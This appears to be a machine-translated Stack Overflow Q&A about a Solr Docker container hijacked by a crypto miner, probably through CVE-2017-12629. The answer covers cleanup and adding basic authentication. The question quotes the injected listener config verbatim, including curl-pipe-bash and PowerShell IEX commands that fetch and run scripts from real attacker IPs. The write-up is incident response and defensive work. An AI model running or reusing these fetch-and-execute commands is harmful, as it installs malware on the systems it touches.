SolrException:加载类'solr.RunExecutableListener'+'/ var/tmp/sustes'进程时出错

Question

史前史:

1. 我朋友的网站开始慢慢运作.
2. 本网站使用docker.
3. htop告诉我所有核心都是由/var/tmp/sustes用户加载过程100%8983.试图找出是什么sustes,但谷歌没有帮助,但8983告诉Solr容器中的问题.

4. 试图Solr从v6 更新.？到7.4并得到消息:

   o.a.s.c.SolrCore Error while closing ... Caused by: org.apache.solr.common.SolrException: Error loading class 'solr.RunExecutableListener'

   回到v6.6.4(作为docker-hub上唯一可用的v6 https://hub.docker.com/_/solr/),因为站点应该继续工作.

5. 在Dockers日志中我发现:

   [x:default] o.a.s.c.S.SolrConfigHandler Executed config commands successfully and persited to File System [{"update-listener":{ "exe":"sh", "name":"newlistener-02", "args":[ -"c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}}]

6. 因此,在http://192.99.142.226:8220/mr.sh我们可以发现恶意代码安装加密矿工(加密矿工配置:http://192.99.142.226:8220/wt.conf).

7. 使用链接http://example.com:8983/solr/YOUR_CORE_NAME/config我们可以找到完整的配置,但是现在我们只需要以下listener部分:

   "listener":[{ "event":"newSearcher", "class":"solr.QuerySenderListener", "queries":[]}, { "event":"firstSearcher", "class":"solr.QuerySenderListener", "queries":[]}, { "exe":"sh", "name":"newlistener-02", "args":["-c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}, { "exe":"sh", "name":"newlistener-25", "args":["-c", "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"/bin/"}, { "exe":"cmd.exe", "name":"newlistener-00", "args":["/c", "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"], "event":"newSearcher", "class":"solr.RunExecutableListener", "dir":"cmd.exe"}],

8. 由于我们没有这样的设置solrconfig.xml,我找到了它们/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json(此文件的设置可以在http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay找到

Answer 1

定影:

9. 清理configoverlay.json,或只是删除此文件(rm /opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json).

10. 重新启动Solr(如何启动\停止 - https://lucene.apache.org/solr/guide/6_6/running-solr.html#RunningSolr-StarttheServer)或重新启动docker容器.

据我了解,这种攻击可能是由于CVE-2017-12629:

1. 如何使用CVE-2017-12629攻击Apache Solr - https://spz.io/2018/01/26/attack-apache-solr-using-cve-2017-12629/

2. CVE-2017-12629:从Solr中删除RunExecutableListener - https://issues.apache.org/jira/browse/SOLR-11482?attachmentOrder=asc

......并在v5.5.5,6.6.2 +,7.1 +中修复

这是由于免费提供http://example.com:8983任何人,所以尽管这个漏洞是固定的,让...

11. 添加对http://example.com:8983的保护

    基于https://lucene.apache.org/solr/guide/6_6/basic-authentication-plugin.html#basic-authentication-plugin

    创建security.json:

    { "authentication":{ "blockUnknown": true, "class":"solr.BasicAuthPlugin", "credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="} }, "authorization":{ "class":"solr.RuleBasedAuthorizationPlugin", "permissions":[{"name":"security-edit", "role":"admin"}], "user-role":{"solr":"admin"} }}

    必须删除此文件/opt/solr/server/solr/(即旁边solr.xml)

    由于Solr它有自己的哈希检查器(作为sha256(密码+盐)哈希),这里不能使用典型的解决方案.生成哈希的最简单方法是jar从这里下载文件http://www.planetcobalt.net/sdb/solr_password_hash.shtml(在文章末尾)并运行它java -jar SolrPasswordHash.jar NewPassword.

因为我使用docker-compose,我只是这样构建Solr:

# project/dockerfiles/solr/Dockerfile
FROM solr:7.4
ADD security.json /opt/solr/server/solr/

# project/sources/docker-compose.yml (just Solr part)
solr:
  build: ./dockerfiles/solr/
  container_name: solr-container

  # Check if 'default' core is created. If not, then create it.
  entrypoint:
    - docker-entrypoint.sh
    - solr-precreate
    - default

  # Access to web interface from host to container, i.e 127.0.0.1:8983
  ports:
    - "8983:8983"
  volumes:
  - ./dockerfiles/solr/default:/opt/solr/server/solr/mycores/default  # configs
  - ../data/solr/default/data:/opt/solr/server/solr/mycores/default/data  # indexes